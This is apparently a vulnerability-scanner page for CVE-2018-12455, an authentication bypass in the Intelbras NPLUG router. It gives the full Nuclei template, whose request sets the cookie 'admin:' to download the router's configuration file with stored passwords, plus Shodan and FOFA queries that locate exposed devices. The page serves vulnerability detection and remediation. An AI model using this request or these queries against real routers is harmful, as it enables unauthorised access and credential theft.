Intelbras NPLUG 1.0.0.14 - Authentication Bypass

criticalseverity

8.1CVSS score

5.9%likelihood of exploitation, next 30 days

93%of all CVEs are less likely

Readycheck to confirm it

Intelbras NPLUG 1.0.0.14 is vulnerable to authentication bypass through cookie manipulation. An attacker can bypass authentication by simply setting a cookie named "admin:".

Impact

Unauthenticated attackers can bypass authentication and download the router configuration file containing credentials, network settings, and sensitive information.

Fix

Update the device firmware to the latest version.

How to confirm it

Send: GET /cgi-bin/DownloadCfg/RouterCfm.cfg
Positive when: contains(content_type, 'config/conf') and contains_all(body, 'wl_', '_passwd') and status_code==200

Run it with nuclei: nuclei -id CVE-2018-12455 -u <target>

The full check

id: CVE-2018-12455

info:
  name: Intelbras NPLUG 1.0.0.14 - Authentication Bypass
  author: ritikchaddha
  severity: critical
  description: |
    Intelbras NPLUG 1.0.0.14 is vulnerable to authentication bypass through cookie manipulation. An attacker can bypass authentication by simply setting a cookie named "admin:".
  impact: |
    Unauthenticated attackers can bypass authentication and download the router configuration file containing credentials, network settings, and sensitive information.
  remediation: |
    Update the device firmware to the latest version.
  reference:
    - https://seclists.org/fulldisclosure/2018/Oct/18
    - https://nvd.nist.gov/vuln/detail/CVE-2018-12455
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2018-12455
    cwe-id: CWE-287
    epss-score: 0.05867
    epss-percentile: 0.93264
    cpe: cpe:2.3:h:intelbras:nplug:-:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: intelbras
    product: nplug
    shodan-query: html:"NPLUG"
    fofa-query: title="NPLUG"
  tags: cve,cve2018,intelbras,auth-bypass,iot,vuln

http:
  - raw:
      - |
        GET /cgi-bin/DownloadCfg/RouterCfm.cfg HTTP/1.1
        Host: {{Hostname}}
        Cookie: admin:

    matchers:
      - type: dsl
        dsl:
          - "contains(content_type, 'config/conf')"
          - "contains_all(body, 'wl_', '_passwd')"
          - "status_code==200"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from